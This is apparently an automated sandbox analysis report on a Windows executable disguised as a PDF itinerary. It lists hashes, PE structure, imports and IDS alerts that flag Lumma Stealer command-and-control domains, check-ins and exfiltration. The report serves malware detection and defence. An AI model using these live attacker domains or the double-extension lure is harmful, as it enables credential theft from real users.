SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fc488cb0-f2fc-4313-91a0-ff3644bb20b2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJi7oW:Jb3mlind9i4ufFXpAXkrfUs0jWLaGZDI
MD5:	1B0B46EF76AC75C2C91FA043AFA150CD
SHA1:	A8544CE2FC62DFC7AC592F5F567DBE9A623F8410
SHA-256:	12B1773B522EE9AEC4F3AACCB353C370F87E2FDBB7D1F5F966DFE04A15F9A398
SHA-512:	B0DFAFEDE6CC1DB69F1755F13B58C42BE6260BB1265CCCEA61CAC24CA43AB595E36A0D673FAA92E5BAE979A60DDAD4B4179AB216B6357F487F0752AA88043FE9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.203723789172425
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Navan - Itinerary.pdf.scr.exe
File size:	1'638'400 bytes
MD5:	168e0d79aa66efd4c83cb8a745d6157a
SHA1:	3be1e99c2d2ed7eaa72fb5ab2697d70dff14cc94
SHA256:	d0a926c2882477f35996cdcc93869aa28687421d892108786e9b67033583357e
SHA512:	cd4f3bba409070f2d693bf087f1839b88bc2eb6388ac9fe75ce638bd389b9b61e6c3eeeb138fdab239b2e129e59989f8a771d892fefe888a2150db6d7a28e650
SSDEEP:	24576:J/ahPeSMObBX48FD/Onzpb5kWuWPcHYF+Xe61PVLpCeRseo4nEc+vi2oflSOhOSl:J/ahPL/B48t/OttkSA4pOSOpAdcB
TLSH:	3975B654F6AB5222E0533EF4187F23669261A830303ECE57F0446E5654D133AEB9FDAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\^.W.?...?...?...Ga..?.......?.......?.......?.......?..h....?...?...?.......?.......?.......?..Rich.?..........PE..L.....fg...

File Icon


Icon Hash:	1c1889ca9b2dc79b

Static PE Info

General

Entrypoint:	0x564c49
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676618CC [Sat Dec 21 01:24:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8f05acdfcf958ad49d502159c452d8a0

Entrypoint Preview

Instruction
call 00007F8D1CC37EB8h
jmp 00007F8D1CC3769Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
jmp 00007F8D1CC37837h
mov ecx, dword ptr [edx+0Ch]
cmp dword ptr [ebp+0Ch], ecx
jc 00007F8D1CC3782Ch
mov eax, dword ptr [edx+08h]
add eax, ecx
cmp dword ptr [ebp+0Ch], eax
jc 00007F8D1CC3782Eh
add edx, 28h
cmp edx, esi
jne 00007F8D1CC37809h
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F8D1CC3781Bh
push esi
call 00007F8D1CC3817Ch
test eax, eax
je 00007F8D1CC37842h
mov eax, dword ptr fs:[00000018h]
mov esi, 0057225Ch
mov edx, dword ptr [eax+04h]
jmp 00007F8D1CC37826h
cmp edx, eax
je 00007F8D1CC37832h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F8D1CC37812h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F8D1CC37829h
mov byte ptr [00572260h], 00000001h
call 00007F8D1CC379FAh
call 00007F8D1CC37E89h
test al, al
jne 00007F8D1CC37826h
xor al, al
pop ebp
ret
call 00007F8D1CC37E7Ch
test al, al
jne 00007F8D1CC3782Ch
push 00000000h
call 00007F8D1CC37E71h
pop ecx
jmp 00007F8D1CC3780Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00572261h], 00000000h
je 00007F8D1CC37826h
mov al, 01h
pop ebp
ret

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17318c	0x104	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x174000	0x91c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x17e000	0x14e3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16cd90	0x38	.data
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x16ce00	0x18	.data
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16ccd0	0x40	.data
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x173000	0x184	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16a723	0x16a800	696dd121d58c6d04a28cc81258cdb8f5	False	0.3342544450431034	data	6.004719987583057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x16c000	0x65d4	0x6400	858b2ea462e8c05314963b79f45e20e8	False	0.2690625	data	4.367866622411197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x173000	0xdd8	0xe00	8dda1530378a2027ab77c74ea2449135	False	0.41573660714285715	data	5.432830471357009	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x174000	0x91c8	0x9200	21b9f4f2eaeb905775d4a7cd568d7cc8	False	0.713693279109589	data	7.110296856296312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x17e000	0x14e3c	0x15000	70b896765e3c4dd5e37b69fb8a92d71f	False	0.6722005208333334	data	6.822543440648515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x174160	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	Russian	Russia	0.7296099290780141
RT_ICON	0x1745c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	Russian	Russia	0.535655737704918
RT_ICON	0x174f50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	Russian	Russia	0.43597560975609756
RT_ICON	0x175ff8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	Russian	Russia	0.3233402489626556
RT_ICON	0x1785a0	0x4bd3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia	0.996754417598269
RT_GROUP_ICON	0x17d178	0x4c	data	Russian	Russia	0.7763157894736842

Imports

DLL	Import
KERNEL32.dll	LoadLibraryA, QueryPerformanceFrequency, CreateFileW, GetSystemInfo, GetProcAddress, FreeLibrary, QueryPerformanceCounter, GetTempPathW, WriteFile, CloseHandle, GetModuleHandleW, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess
SHELL32.dll	ShellExecuteW
MSVCP140.dll	?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@M@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z, ?good@ios_base@std@@QBE_NXZ, ?uncaught_exceptions@std@@YAHXZ, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?_Xlength_error@std@@YAXPBD@Z, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@D@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z
WININET.dll	InternetOpenUrlW, InternetOpenW, InternetReadFile, InternetCloseHandle
VCRUNTIME140.dll	__current_exception, memcpy, memchr, _CxxThrowException, __std_exception_destroy, __CxxFrameHandler3, memcmp, memmove, __current_exception_context, _except_handler4_common, __std_exception_copy, memset
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vswprintf_s, __p__commode, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	malloc, _callnewh, _set_new_mode, free
api-ms-win-crt-utility-l1-1-0.dll	rand, srand
api-ms-win-crt-time-l1-1-0.dll	_time64
api-ms-win-crt-runtime-l1-1-0.dll	_exit, exit, _initterm_e, _initterm, _get_narrow_winmain_command_line, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, _seh_filter_exe, terminate, _cexit, _c_exit, _register_thread_local_exe_atexit_callback, _controlfp_s, _initialize_onexit_table, _invalid_parameter_noinfo_noreturn, _register_onexit_function, _crt_atexit
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, ceil

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T13:18:21.706231+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	60934	1.1.1.1	53	UDP
2024-12-21T13:18:21.859167+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.7	49217	1.1.1.1	53	UDP
2024-12-21T13:18:23.286867+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:23.286867+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:24.199146+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:24.199146+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:25.926745+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:25.926745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:26.691089+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:26.691089+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:29.057008+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49745	172.67.197.170	443	TCP
2024-12-21T13:18:29.057008+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49745	172.67.197.170	443	TCP
2024-12-21T13:18:31.170364+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49750	172.67.197.170	443	TCP
2024-12-21T13:18:31.170364+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49750	172.67.197.170	443	TCP
2024-12-21T13:18:32.008169+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49750	172.67.197.170	443	TCP
2024-12-21T13:18:33.593243+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49756	172.67.197.170	443	TCP
2024-12-21T13:18:33.593243+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49756	172.67.197.170	443	TCP
2024-12-21T13:18:35.898402+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49762	172.67.197.170	443	TCP
2024-12-21T13:18:35.898402+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49762	172.67.197.170	443	TCP
2024-12-21T13:18:38.349929+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49768	172.67.197.170	443	TCP
2024-12-21T13:18:38.349929+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49768	172.67.197.170	443	TCP
2024-12-21T13:18:38.355032+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	49768	172.67.197.170	443	TCP
2024-12-21T13:18:42.956761+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.7	49784	172.67.197.170	443	TCP
2024-12-21T13:18:42.956761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49784	172.67.197.170	443	TCP
2024-12-21T13:18:43.752592+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49784	172.67.197.170	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 13:18:14.362648010 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:14.362677097 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:14.362746954 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:14.392345905 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:14.392368078 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:15.606420994 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:15.606528044 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:15.708201885 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:15.708228111 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:15.708575010 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:15.708647966 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:15.723675966 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:15.767338037 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.037965059 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.038063049 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.038090944 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.038122892 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.038146019 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.038163900 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.038232088 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.038255930 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.046406031 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.046471119 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.046547890 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.047975063 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.054909945 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.056513071 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.056519985 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.060096025 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.063092947 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.063158989 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.063195944 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.063294888 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.157898903 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.157994986 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.158090115 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.158181906 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.230325937 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.230436087 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.230459929 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.230515003 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.235595942 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.235657930 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.235697031 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.235744953 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.243365049 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.243438005 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.243478060 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.243537903 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.251243114 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.251303911 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.259054899 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.259119987 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.259179115 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.259228945 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.266815901 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.266884089 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.266978025 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.267041922 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.274638891 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.274709940 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.274725914 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.274779081 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.282346010 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.282407045 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.282439947 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.282512903 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.290293932 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.290369987 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.297971964 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.298049927 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.298062086 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.298120022 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.304076910 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.304140091 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.304164886 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.304219007 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.309977055 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.310036898 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.310086012 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.310163021 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.316294909 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.316359997 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.321978092 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.322041035 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.349836111 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.349946976 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.349967957 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.350048065 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.350058079 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.350105047 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.350135088 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.350184917 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.350208998 CET	49700	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.350223064 CET	443	49700	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.694973946 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.695008993 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:16.695175886 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.695431948 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:16.695450068 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:17.945722103 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:17.945796013 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:17.946405888 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:17.946420908 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:17.946624994 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:17.946631908 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.487654924 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.487814903 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.487829924 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.487873077 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.487909079 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.487919092 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.488218069 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.496027946 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.496272087 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.501220942 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.501358986 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.501370907 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.501498938 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.509635925 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.511920929 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.511931896 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.512011051 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.517918110 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.518027067 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.518218040 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.518300056 CET	49701	443	192.168.2.7	185.199.110.133
Dec 21, 2024 13:18:18.607878923 CET	443	49701	185.199.110.133	192.168.2.7
Dec 21, 2024 13:18:18.608129978 CET	49701	443	192.168.2.7	185.199.110.133
